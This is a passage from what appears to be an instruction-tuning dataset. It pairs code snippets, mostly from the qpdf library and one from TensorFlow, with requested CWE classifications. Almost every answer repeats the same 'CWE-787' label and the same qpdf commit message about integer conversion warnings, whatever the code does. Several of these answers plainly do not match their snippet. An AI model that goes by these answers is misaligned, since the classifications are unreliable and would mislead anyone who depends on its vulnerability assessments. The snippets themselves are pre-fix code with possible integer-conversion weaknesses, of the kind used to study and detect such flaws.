std::cout << "iterating over annotations per page\n"; std::vector<QPDFPageObjectHelper> pages = QPDFPageDocumentHelper(pdf).getAllPages(); for (std::vector<QPDFPageObjectHelper>::iterator iter = pages.begin(); iter != pages.end(); ++iter) { std::cout << "Page: " << (*iter).getObjectHandle().unparse() << std::endl; std::vector<QPDFAnnotationObjectHelper> annotations = afdh.getWidgetAnnotationsForPage(*iter); for (std::vector<QPDFAnnotationObjectHelper>::iterator i2 = annotations.begin(); i2 != annotations.end(); ++i2) { QPDFAnnotationObjectHelper ah(*i2); std::cout << " Annotation: " << ah.getObjectHandle().unparse() << std::endl; std::cout << " Field: " << (afdh.getFieldForAnnotation(ah). getObjectHandle().unparse()) << std::endl; std::cout << " Subtype: " << ah.getSubtype() << std::endl; std::cout << " Rect: "; print_rect(std::cout, ah.getRect()); std::cout << std::endl; std::string state = ah.getAppearanceState(); if (! state.empty()) { std::cout << " Appearance state: " << state << std::endl; } std::cout << " Appearance stream (/N): " << ah.getAppearanceStream("/N").unparse() << std::endl; std::cout << " Appearance stream (/N, /3): " << ah.getAppearanceStream("/N", "/3").unparse() << std::endl; } } } else if (n == 44) { // Set form fields. QPDFAcroFormDocumentHelper afdh(pdf); std::vector<QPDFFormFieldObjectHelper> fields = afdh.getFormFields(); for (std::vector<QPDFFormFieldObjectHelper>::iterator iter = fields.begin(); iter != fields.end(); ++iter) { QPDFFormFieldObjectHelper& field(*iter); QPDFObjectHandle ft = field.getInheritableFieldValue("/FT"); if (ft.isName() && (ft.getName() == "/Tx")) { // \xc3\xb7 is utf-8 for U+00F7 (divided by) field.setV("3.14 \xc3\xb7 0"); std::cout << "Set field value: " << field.getFullyQualifiedName() << " -> " << field.getValueAsString() << std::endl; } } QPDFWriter w(pdf, "a.pdf"); w.setQDFMode(true); w.setStaticID(true); w.setSuppressOriginalObjectIDs(true); w.write(); } else if (n == 45) { // Decode obfuscated files. This is here to help test with // files that trigger anti-virus warnings. See comments in // qpdf.test for details. QPDFWriter w(pdf, "a.pdf"); w.setStaticID(true); w.write(); if (! pdf.getWarnings().empty()) { exit(3); } } else if (n == 46) { // Test number tree. This test is crafted to work with // number-tree.pdf QPDFObjectHandle qtest = pdf.getTrailer().getKey("/QTest"); QPDFNumberTreeObjectHelper ntoh(qtest); QPDFNumberTreeObjectHelper::idx_map ntoh_map = ntoh.getAsMap(); for (QPDFNumberTreeObjectHelper::idx_map::iterator iter = ntoh_map.begin(); iter != ntoh_map.end(); ++iter) { std::cout << (*iter).first << " " << (*iter).second.getStringValue() << std::endl; } assert(1 == ntoh.getMin()); assert(29 == ntoh.getMax()); assert(ntoh.hasIndex(6)); assert(! ntoh.hasIndex(500)); QPDFObjectHandle oh; assert(! ntoh.findObject(4, oh)); assert(ntoh.findObject(3, oh)); assert("three" == oh.getStringValue()); QPDFNumberTreeObjectHelper::numtree_number offset = 0; assert(! ntoh.findObjectAtOrBelow(0, oh, offset)); assert(ntoh.findObjectAtOrBelow(8, oh, offset)); assert("six" == oh.getStringValue()); assert(2 == offset); } else if (n == 47) { // Test page labels. QPDFPageLabelDocumentHelper pldh(pdf); size_t npages = pdf.getRoot().getKey("/Pages"). getKey("/Count").getIntValue(); std::vector<QPDFObjectHandle> labels; pldh.getLabelsForPageRange(0, npages - 1, 1, labels); assert(labels.size() % 2 == 0); for (size_t i = 0; i < labels.size(); i+= 2) { std::cout << labels.at(i).getIntValue() << " " << labels.at(i+1).unparse() << std::endl; } } else if (n == 48) { // Test name tree. This test is crafted to work with // name-tree.pdf QPDFObjectHandle qtest = pdf.getTrailer().getKey("/QTest"); QPDFNameTreeObjectHelper ntoh(qtest); std::map<std::string, QPDFObjectHandle> ntoh_map = ntoh.getAsMap(); for (std::map<std::string, QPDFObjectHandle>::iterator iter = ntoh_map.begin(); iter != ntoh_map.end(); ++iter) { std::cout << (*iter).first << " -> " << (*iter).second.getStringValue() << std::endl; } assert(ntoh.hasName("11 elephant")); assert(ntoh.hasName("07 sev\xe2\x80\xa2n")); assert(! ntoh.hasName("potato")); QPDFObjectHandle oh; assert(! ntoh.findObject("potato", oh)); assert(ntoh.findObject("07 sev\xe2\x80\xa2n", oh)); assert("seven!" == oh.getStringValue()); } else if (n == 49) { // Outlines std::vector<QPDFPageObjectHelper> pages = QPDFPageDocumentHelper(pdf).getAllPages(); QPDFOutlineDocumentHelper odh(pdf); int pageno = 0; for (std::vector<QPDFPageObjectHelper>::iterator iter = pages.begin(); iter != pages.end(); ++iter, ++pageno) { std::list<QPDFOutlineObjectHelper> outlines = odh.getOutlinesForPage((*iter).getObjectHandle().getObjGen()); for (std::list<QPDFOutlineObjectHelper>::iterator oiter = outlines.begin(); oiter != outlines.end(); ++oiter) { std::cout << "page " << pageno << ": " << (*oiter).getTitle() << " -> " << (*oiter).getDest().unparseResolved() << std::endl; } } } else if (n == 50) { // Test dictionary merge. This test is crafted to work with // merge-dict.pdf QPDFObjectHandle d1 = pdf.getTrailer().getKey("/Dict1"); QPDFObjectHandle d2 = pdf.getTrailer().getKey("/Dict2"); d1.mergeResources(d2); std::cout << d1.getJSON().unparse() << std::endl; // Top-level type mismatch d1.mergeResources(d2.getKey("/k1")); std::set<std::string> names = d1.getResourceNames(); for (std::set<std::string>::iterator iter = names.begin(); iter != names.end(); ++iter) { std::cout << *iter << std::endl; } } else if (n == 51) { // Test radio button and checkbox field setting. The input // files must have radios button called r1 and r2 and // checkboxes called checkbox1 and checkbox2. The files // button-set*.pdf are designed for this test case. QPDFObjectHandle acroform = pdf.getRoot().getKey("/AcroForm"); QPDFObjectHandle fields = acroform.getKey("/Fields"); int n = fields.getArrayNItems(); for (int i = 0; i < n; ++i) { QPDFObjectHandle field = fields.getArrayItem(i); QPDFObjectHandle T = field.getKey("/T"); if (! T.isString()) { continue; } std::string Tval = T.getUTF8Value(); if (Tval == "r1") { std::cout << "setting r1 via parent\n"; QPDFFormFieldObjectHelper foh(field); foh.setV(QPDFObjectHandle::newName("/2")); } else if (Tval == "r2") { std::cout << "setting r2 via child\n"; field = field.getKey("/Kids").getArrayItem(1); QPDFFormFieldObjectHelper foh(field); foh.setV(QPDFObjectHandle::newName("/3")); } else if (Tval == "checkbox1") { std::cout << "turning checkbox1 on\n"; QPDFFormFieldObjectHelper foh(field); foh.setV(QPDFObjectHandle::newName("/Yes")); } else if (Tval == "checkbox2") { std::cout << "turning checkbox2 off\n"; QPDFFormFieldObjectHelper foh(field); foh.setV(QPDFObjectHandle::newName("/Off")); } } QPDFWriter w(pdf, "a.pdf"); w.setQDFMode(true); w.setStaticID(true); w.write(); } else if (n == 52) { // This test just sets a field value for appearance stream // generating testing. QPDFObjectHandle acroform = pdf.getRoot().getKey("/AcroForm"); QPDFObjectHandle fields = acroform.getKey("/Fields"); int n = fields.getArrayNItems(); for (int i = 0; i < n; ++i) { QPDFObjectHandle field = fields.getArrayItem(i); QPDFObjectHandle T = field.getKey("/T"); if (! T.isString()) { continue; } std::string Tval = T.getUTF8Value(); if (Tval == "list1") { std::cout << "setting list1 value\n"; QPDFFormFieldObjectHelper foh(field); foh.setV(QPDFObjectHandle::newString(arg2)); } } QPDFWriter w(pdf, "a.pdf"); w.write(); } else if (n == 53) { // Test get all objects and dangling ref handling QPDFObjectHandle root = pdf.getRoot(); root.replaceKey( "/Q1", pdf.makeIndirectObject(QPDFObjectHandle::newString("potato"))); std::cout << "all objects" << std::endl; std::vector<QPDFObjectHandle> all = pdf.getAllObjects(); for (std::vector<QPDFObjectHandle>::iterator iter = all.begin(); iter != all.end(); ++iter) { std::cout << (*iter).unparse() << std::endl; } QPDFWriter w(pdf, "a.pdf"); w.setStaticID(true); w.write(); } else if (n == 54) { // Test getFinalVersion. This must be invoked with a file // whose final version is not 1.5. QPDFWriter w(pdf, "a.pdf"); assert(pdf.getPDFVersion() != "1.5"); w.setObjectStreamMode(qpdf_o_generate); if (w.getFinalVersion() != "1.5") { std::cout << "oops: " << w.getFinalVersion() << std::endl; } } else if (n == 55) { // Form XObjects std::vector<QPDFPageObjectHelper> pages = QPDFPageDocumentHelper(pdf).getAllPages(); QPDFObjectHandle qtest = QPDFObjectHandle::newArray(); for (std::vector<QPDFPageObjectHelper>::iterator iter = pages.begin(); iter != pages.end(); ++iter) { QPDFPageObjectHelper& ph(*iter); qtest.appendItem(ph.getFormXObjectForPage()); qtest.appendItem(ph.getFormXObjectForPage(false)); } pdf.getTrailer().replaceKey("/QTest", qtest); QPDFWriter w(pdf, "a.pdf"); w.setQDFMode(true); w.setStaticID(true); w.write(); } else if ((n >= 56) && (n <= 59)) { // Placing form XObjects assert(arg2); QPDF pdf2; pdf2.processFile(arg2); // red pages are from pdf, blue pages are from pdf2 // red pages always have stated rotation absolutely // 56: blue pages are overlaid exactly on top of red pages // 57: blue pages have stated rotation relative to red pages // 58: blue pages have no rotation (absolutely upright) // 59: blue pages have stated rotation absolutely bool handle_from_transformation = ((n == 57) || (n == 59)); bool invert_to_transformation = ((n == 58) || (n == 59)); std::vector<QPDFPageObjectHelper> pages1 = QPDFPageDocumentHelper(pdf).getAllPages(); std::vector<QPDFPageObjectHelper> pages2 = QPDFPageDocumentHelper(pdf2).getAllPages(); size_t npages = (pages1.size() < pages2.size() ? pages1.size() : pages2.size()); for (size_t i = 0; i < npages; ++i) { QPDFPageObjectHelper& ph1 = pages1.at(i); QPDFPageObjectHelper& ph2 = pages2.at(i); QPDFObjectHandle fo = pdf.copyForeignObject( ph2.getFormXObjectForPage(handle_from_transformation)); int min_suffix = 1; QPDFObjectHandle resources = ph1.getAttribute("/Resources", true); std::string name = resources.getUniqueResourceName( "/Fx", min_suffix); std::string content = ph1.placeFormXObject( fo, name, ph1.getTrimBox().getArrayAsRectangle(), invert_to_transformation); if (! content.empty()) { resources.mergeResources( QPDFObjectHandle::parse("<< /XObject << >> >>")); resources.getKey("/XObject").replaceKey(name, fo); ph1.addPageContents( QPDFObjectHandle::newStream(&pdf, "q\n"), true); ph1.addPageContents( QPDFObjectHandle::newStream(&pdf, "\nQ\n" + content), false); } } QPDFWriter w(pdf, "a.pdf"); w.setQDFMode(true); w.setStaticID(true); w.write(); } else if (n == 60) { // Boundary condition testing for getUniqueResourceName QPDFObjectHandle r1 = QPDFObjectHandle::newDictionary(); int min_suffix = 1; for (int i = 1; i < 3; ++i) { std::string name = r1.getUniqueResourceName("/Quack", min_suffix); r1.mergeResources(QPDFObjectHandle::parse("<< /Z << >> >>")); r1.getKey("/Z").replaceKey( name, QPDFObjectHandle::newString("moo")); } pdf.getTrailer().replaceKey("/QTest", r1); QPDFWriter w(pdf, "a.pdf"); w.setStaticID(true); w.write(); } else if (n == 61) { // Test to make sure exceptions can be caught properly across // shared library boundaries. pdf.setAttemptRecovery(false); pdf.setSuppressWarnings(true); try { pdf.processMemoryFile("empty", "", 0); } catch (QPDFExc& e) { std::cout << "Caught QPDFExc as expected" << std::endl; } try { QUtil::safe_fopen("/does/not/exist", "r"); } catch (QPDFSystemError& e) { std::cout << "Caught QPDFSystemError as expected" << std::endl; } try { QUtil::int_to_string_base(0, 12); } catch (std::logic_error& e) { std::cout << "Caught logic_error as expected" << std::endl; } try { QUtil::toUTF8(0xffffffff); } catch (std::runtime_error& e) { std::cout << "Caught runtime_error as expected" << std::endl; } } else if (n == 62) { // Test int size checks. This test will fail if int and long // long are the same size. QPDFObjectHandle t = pdf.getTrailer(); unsigned long long q1_l = 3L * INT_MAX; long long q1 = static_cast<long long>(q1_l); long long q2_l = 3L * INT_MIN; long long q2 = static_cast<long long>(q2_l); unsigned int q3_i = UINT_MAX; long long q3 = static_cast<long long>(q3_i); t.replaceKey("/Q1", QPDFObjectHandle::newInteger(q1)); t.replaceKey("/Q2", QPDFObjectHandle::newInteger(q2)); t.replaceKey("/Q3", QPDFObjectHandle::newInteger(q3)); assert_compare_numbers(q1, t.getKey("/Q1").getIntValue()); assert_compare_numbers(q1_l, t.getKey("/Q1").getUIntValue()); assert_compare_numbers(INT_MAX, t.getKey("/Q1").getIntValueAsInt()); assert_compare_numbers(UINT_MAX, t.getKey("/Q1").getUIntValueAsUInt()); assert_compare_numbers(q2_l, t.getKey("/Q2").getIntValue()); assert_compare_numbers(0U, t.getKey("/Q2").getUIntValue()); assert_compare_numbers(INT_MIN, t.getKey("/Q2").getIntValueAsInt()); assert_compare_numbers(0U, t.getKey("/Q2").getUIntValueAsUInt()); assert_compare_numbers(INT_MAX, t.getKey("/Q3").getIntValueAsInt()); assert_compare_numbers(UINT_MAX, t.getKey("/Q3").getUIntValueAsUInt()); } else { throw std::runtime_error(std::string("invalid test ") + QUtil::int_to_string(n)); } if (filep) { fclose(filep); } std::cout << "test " << n << " done" << std::endl; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major) This makes all integer type conversions that have potential data loss explicit with calls that do range checks and raise an exception. After this commit, qpdf builds with no warnings when -Wsign-conversion -Wconversion is used with gcc or clang or when -W3 -Wd4800 is used with MSVC. This significantly reduces the likelihood of potential crashes from bogus integer values. There are some parts of the code that take int when they should take size_t or an offset. Such places would make qpdf not support files with more than 2^31 of something that usually wouldn't be so large. In the event that such a file shows up and is valid, at least qpdf would raise an error in the right spot so the issue could be legitimately addressed rather than failing in some weird way because of a silent overflow condition.'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: void MD5::encodeDataIncrementally(char const* data, int len) { update(QUtil::unsigned_char_pointer(data), len); } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major) This makes all integer type conversions that have potential data loss explicit with calls that do range checks and raise an exception. After this commit, qpdf builds with no warnings when -Wsign-conversion -Wconversion is used with gcc or clang or when -W3 -Wd4800 is used with MSVC. This significantly reduces the likelihood of potential crashes from bogus integer values. There are some parts of the code that take int when they should take size_t or an offset. Such places would make qpdf not support files with more than 2^31 of something that usually wouldn't be so large. In the event that such a file shows up and is valid, at least qpdf would raise an error in the right spot so the issue could be legitimately addressed rather than failing in some weird way because of a silent overflow condition.'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: int main(int argc, char* argv[]) { if (argc != 7) { std::cerr << "Usage: predictor {png|tiff} {en,de}code filename" << " columns samples-per-pixel bits-per-sample" << std::endl; exit(2); } char* filter = argv[1]; bool encode = (strcmp(argv[2], "encode") == 0); char* filename = argv[3]; int columns = QUtil::string_to_int(argv[4]); int samples_per_pixel = QUtil::string_to_int(argv[5]); int bits_per_sample = QUtil::string_to_int(argv[6]); try { run(filename, filter, encode, columns, bits_per_sample, samples_per_pixel); } catch (std::exception& e) { std::cout << e.what() << std::endl; } return 0; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major) This makes all integer type conversions that have potential data loss explicit with calls that do range checks and raise an exception. After this commit, qpdf builds with no warnings when -Wsign-conversion -Wconversion is used with gcc or clang or when -W3 -Wd4800 is used with MSVC. This significantly reduces the likelihood of potential crashes from bogus integer values. There are some parts of the code that take int when they should take size_t or an offset. Such places would make qpdf not support files with more than 2^31 of something that usually wouldn't be so large. In the event that such a file shows up and is valid, at least qpdf would raise an error in the right spot so the issue could be legitimately addressed rather than failing in some weird way because of a silent overflow condition.'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: int main() { uint32_t u1 = 3141592653U; // Too big for signed type int32_t i1 = -1153374643; // Same bit pattern as u1 uint64_t ul1 = 1099511627776LL; // Too big for 32-bit uint64_t ul2 = 12345; // Fits into 32-bit int32_t i2 = 81; // Fits in char and uchar char c1 = '\xf7'; // Signed vaule when char // Verify i1 and u1 have same bit pattern assert(static_cast<uint32_t>(i1) == u1); // Verify that we can unsafely convert between char and unsigned char assert(c1 == static_cast<char>(static_cast<unsigned char>(c1))); try_convert(true, QIntC::to_int<int32_t>, i1); try_convert(true, QIntC::to_uint<uint32_t>, u1); try_convert(false, QIntC::to_int<uint32_t>, u1); try_convert(false, QIntC::to_uint<int32_t>, i1); try_convert(false, QIntC::to_int<uint64_t>, ul1); try_convert(true, QIntC::to_int<uint64_t>, ul2); try_convert(true, QIntC::to_uint<uint64_t>, ul2); try_convert(true, QIntC::to_offset<uint32_t>, u1); try_convert(true, QIntC::to_offset<int32_t>, i1); try_convert(false, QIntC::to_size<int32_t>, i1); try_convert(true, QIntC::to_char<int32_t>, i2); try_convert(true, QIntC::to_uchar<int32_t>, i2); try_convert(false, QIntC::to_uchar<char>, c1); return 0; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major) This makes all integer type conversions that have potential data loss explicit with calls that do range checks and raise an exception. After this commit, qpdf builds with no warnings when -Wsign-conversion -Wconversion is used with gcc or clang or when -W3 -Wd4800 is used with MSVC. This significantly reduces the likelihood of potential crashes from bogus integer values. There are some parts of the code that take int when they should take size_t or an offset. Such places would make qpdf not support files with more than 2^31 of something that usually wouldn't be so large. In the event that such a file shows up and is valid, at least qpdf would raise an error in the right spot so the issue could be legitimately addressed rather than failing in some weird way because of a silent overflow condition.'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: unsigned long long qpdf_get_error_file_position(qpdf_data qpdf, qpdf_error e) { if (e == 0) { return 0; } return e->exc->getFilePosition(); } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major) This makes all integer type conversions that have potential data loss explicit with calls that do range checks and raise an exception. After this commit, qpdf builds with no warnings when -Wsign-conversion -Wconversion is used with gcc or clang or when -W3 -Wd4800 is used with MSVC. This significantly reduces the likelihood of potential crashes from bogus integer values. There are some parts of the code that take int when they should take size_t or an offset. Such places would make qpdf not support files with more than 2^31 of something that usually wouldn't be so large. In the event that such a file shows up and is valid, at least qpdf would raise an error in the right spot so the issue could be legitimately addressed rather than failing in some weird way because of a silent overflow condition.'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: iterate_rc4(unsigned char* data, int data_len, unsigned char* okey, int key_len, int iterations, bool reverse) { unsigned char* key = new unsigned char[key_len]; for (int i = 0; i < iterations; ++i) { int const xor_value = (reverse ? iterations - 1 - i : i); for (int j = 0; j < key_len; ++j) { key[j] = okey[j] ^ xor_value; } RC4 rc4(key, key_len); rc4.process(data, data_len); } delete [] key; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major) This makes all integer type conversions that have potential data loss explicit with calls that do range checks and raise an exception. After this commit, qpdf builds with no warnings when -Wsign-conversion -Wconversion is used with gcc or clang or when -W3 -Wd4800 is used with MSVC. This significantly reduces the likelihood of potential crashes from bogus integer values. There are some parts of the code that take int when they should take size_t or an offset. Such places would make qpdf not support files with more than 2^31 of something that usually wouldn't be so large. In the event that such a file shows up and is valid, at least qpdf would raise an error in the right spot so the issue could be legitimately addressed rather than failing in some weird way because of a silent overflow condition.'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: QPDF::readHintStream(Pipeline& pl, qpdf_offset_t offset, size_t length) { int obj; int gen; QPDFObjectHandle H = readObjectAtOffset( false, offset, "linearization hint stream", -1, 0, obj, gen); ObjCache& oc = this->m->obj_cache[QPDFObjGen(obj, gen)]; qpdf_offset_t min_end_offset = oc.end_before_space; qpdf_offset_t max_end_offset = oc.end_after_space; if (! H.isStream()) { throw QPDFExc(qpdf_e_damaged_pdf, this->m->file->getName(), "linearization dictionary", this->m->file->getLastOffset(), "hint table is not a stream"); } QPDFObjectHandle Hdict = H.getDict(); // Some versions of Acrobat make /Length indirect and place it // immediately after the stream, increasing length to cover it, // even though the specification says all objects in the // linearization parameter dictionary must be direct. We have to // get the file position of the end of length in this case. QPDFObjectHandle length_obj = Hdict.getKey("/Length"); if (length_obj.isIndirect()) { QTC::TC("qpdf", "QPDF hint table length indirect"); // Force resolution (void) length_obj.getIntValue(); ObjCache& oc = this->m->obj_cache[length_obj.getObjGen()]; min_end_offset = oc.end_before_space; max_end_offset = oc.end_after_space; } else { QTC::TC("qpdf", "QPDF hint table length direct"); } qpdf_offset_t computed_end = offset + length; if ((computed_end < min_end_offset) || (computed_end > max_end_offset)) { *this->m->out_stream << "expected = " << computed_end << "; actual = " << min_end_offset << ".." << max_end_offset << std::endl; throw QPDFExc(qpdf_e_damaged_pdf, this->m->file->getName(), "linearization dictionary", this->m->file->getLastOffset(), "hint table length mismatch"); } H.pipeStreamData(&pl, 0, qpdf_dl_specialized); return Hdict; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major) This makes all integer type conversions that have potential data loss explicit with calls that do range checks and raise an exception. After this commit, qpdf builds with no warnings when -Wsign-conversion -Wconversion is used with gcc or clang or when -W3 -Wd4800 is used with MSVC. This significantly reduces the likelihood of potential crashes from bogus integer values. There are some parts of the code that take int when they should take size_t or an offset. Such places would make qpdf not support files with more than 2^31 of something that usually wouldn't be so large. In the event that such a file shows up and is valid, at least qpdf would raise an error in the right spot so the issue could be legitimately addressed rather than failing in some weird way because of a silent overflow condition.'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: QPDFXRefEntry::getObjStreamNumber() const { if (this->type != 2) { throw std::logic_error( "getObjStreamNumber called for xref entry of type != 2"); } return this->field1; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major) This makes all integer type conversions that have potential data loss explicit with calls that do range checks and raise an exception. After this commit, qpdf builds with no warnings when -Wsign-conversion -Wconversion is used with gcc or clang or when -W3 -Wd4800 is used with MSVC. This significantly reduces the likelihood of potential crashes from bogus integer values. There are some parts of the code that take int when they should take size_t or an offset. Such places would make qpdf not support files with more than 2^31 of something that usually wouldn't be so large. In the event that such a file shows up and is valid, at least qpdf would raise an error in the right spot so the issue could be legitimately addressed rather than failing in some weird way because of a silent overflow condition.'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: void MD5::encodeFile(char const *filename, int up_to_size) { unsigned char buffer[1024]; FILE *file = QUtil::safe_fopen(filename, "rb"); size_t len; int so_far = 0; int to_try = 1024; do { if ((up_to_size >= 0) && ((so_far + to_try) > up_to_size)) { to_try = up_to_size - so_far; } len = fread(buffer, 1, to_try, file); if (len > 0) { update(buffer, len); so_far += len; if ((up_to_size >= 0) && (so_far >= up_to_size)) { break; } } } while (len > 0); if (ferror(file)) { // Assume, perhaps incorrectly, that errno was set by the // underlying call to read.... (void) fclose(file); QUtil::throw_system_error( std::string("MD5: read error on ") + filename); } (void) fclose(file); final(); } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major) This makes all integer type conversions that have potential data loss explicit with calls that do range checks and raise an exception. After this commit, qpdf builds with no warnings when -Wsign-conversion -Wconversion is used with gcc or clang or when -W3 -Wd4800 is used with MSVC. This significantly reduces the likelihood of potential crashes from bogus integer values. There are some parts of the code that take int when they should take size_t or an offset. Such places would make qpdf not support files with more than 2^31 of something that usually wouldn't be so large. In the event that such a file shows up and is valid, at least qpdf would raise an error in the right spot so the issue could be legitimately addressed rather than failing in some weird way because of a silent overflow condition.'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: Pl_LZWDecoder::getFirstChar(int code) { unsigned char result = '\0'; if (code < 256) { result = static_cast<unsigned char>(code); } else if (code > 257) { unsigned int idx = code - 258; if (idx >= table.size()) { throw std::logic_error( "Pl_LZWDecoder::getFirstChar: table overflow"); } Buffer& b = table.at(idx); result = b.getBuffer()[0]; } else { throw std::logic_error( "Pl_LZWDecoder::getFirstChar called with invalid code (" + QUtil::int_to_string(code) + ")"); } return result; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major) This makes all integer type conversions that have potential data loss explicit with calls that do range checks and raise an exception. After this commit, qpdf builds with no warnings when -Wsign-conversion -Wconversion is used with gcc or clang or when -W3 -Wd4800 is used with MSVC. This significantly reduces the likelihood of potential crashes from bogus integer values. There are some parts of the code that take int when they should take size_t or an offset. Such places would make qpdf not support files with more than 2^31 of something that usually wouldn't be so large. In the event that such a file shows up and is valid, at least qpdf would raise an error in the right spot so the issue could be legitimately addressed rather than failing in some weird way because of a silent overflow condition.'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: ArgParser::checkCompletion() { // See if we're being invoked from bash completion. std::string bash_point_env; if (QUtil::get_env("COMP_LINE", &bash_line) && QUtil::get_env("COMP_POINT", &bash_point_env)) { int p = QUtil::string_to_int(bash_point_env.c_str()); if ((p > 0) && (p <= static_cast<int>(bash_line.length()))) { // Truncate the line. We ignore everything at or after the // cursor for completion purposes. bash_line = bash_line.substr(0, p); } // Set bash_cur and bash_prev based on bash_line rather than // relying on argv. This enables us to use bashcompinit to get // completion in zsh too since bashcompinit sets COMP_LINE and // COMP_POINT but doesn't invoke the command with options like // bash does. // p is equal to length of the string. Walk backwards looking // for the first separator. bash_cur is everything after the // last separator, possibly empty. char sep(0); while (--p > 0) { char ch = bash_line.at(p); if ((ch == ' ') || (ch == '=') || (ch == ':')) { sep = ch; break; } } bash_cur = bash_line.substr(1+p, std::string::npos); if ((sep == ':') || (sep == '=')) { // Bash sets prev to the non-space separator if any. // Actually, if there are multiple separators in a row, // they are all included in prev, but that detail is not // important to us and not worth coding. bash_prev = bash_line.substr(p, 1); } else { // Go back to the last separator and set prev based on // that. int p1 = p; while (--p1 > 0) { char ch = bash_line.at(p1); if ((ch == ' ') || (ch == ':') || (ch == '=')) { bash_prev = bash_line.substr(p1 + 1, p - p1 - 1); break; } } } if (bash_prev.empty()) { bash_prev = bash_line.substr(0, p); } if (argc == 1) { // This is probably zsh using bashcompinit. There are a // few differences in the expected output. zsh_completion = true; } handleBashArguments(); bash_completion = true; } } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major) This makes all integer type conversions that have potential data loss explicit with calls that do range checks and raise an exception. After this commit, qpdf builds with no warnings when -Wsign-conversion -Wconversion is used with gcc or clang or when -W3 -Wd4800 is used with MSVC. This significantly reduces the likelihood of potential crashes from bogus integer values. There are some parts of the code that take int when they should take size_t or an offset. Such places would make qpdf not support files with more than 2^31 of something that usually wouldn't be so large. In the event that such a file shows up and is valid, at least qpdf would raise an error in the right spot so the issue could be legitimately addressed rather than failing in some weird way because of a silent overflow condition.'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: Status ValidateInputs(const Tensor *a_indices, const Tensor *a_values, const Tensor *a_shape, const Tensor *b) { if (!TensorShapeUtils::IsMatrix(a_indices->shape())) { return errors::InvalidArgument( "Input a_indices should be a matrix but received shape: ", a_indices->shape().DebugString()); } if (!TensorShapeUtils::IsVector(a_values->shape()) || !TensorShapeUtils::IsVector(a_shape->shape())) { return errors::InvalidArgument( "Inputs a_values and a_shape should be vectors " "but received shapes: ", a_values->shape().DebugString(), " and ", a_shape->shape().DebugString()); } if (a_shape->NumElements() != b->dims()) { return errors::InvalidArgument( "Two operands have different ranks; received: ", a_shape->NumElements(), " and ", b->dims()); } const auto a_shape_flat = a_shape->flat<Index>(); for (int i = 0; i < b->dims(); ++i) { if (a_shape_flat(i) != b->dim_size(i)) { return errors::InvalidArgument( "Dimension ", i, " does not equal (no broadcasting is supported): sparse side ", a_shape_flat(i), " vs dense side ", b->dim_size(i)); } } return Status::OK(); } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-20', 'CWE-476'], 'message': 'Fix UB in SparseTensorDenseAdd Added more input validation to avoid nullptr dereferencing and array index out of bounds issues. PiperOrigin-RevId: 446192704'</s>
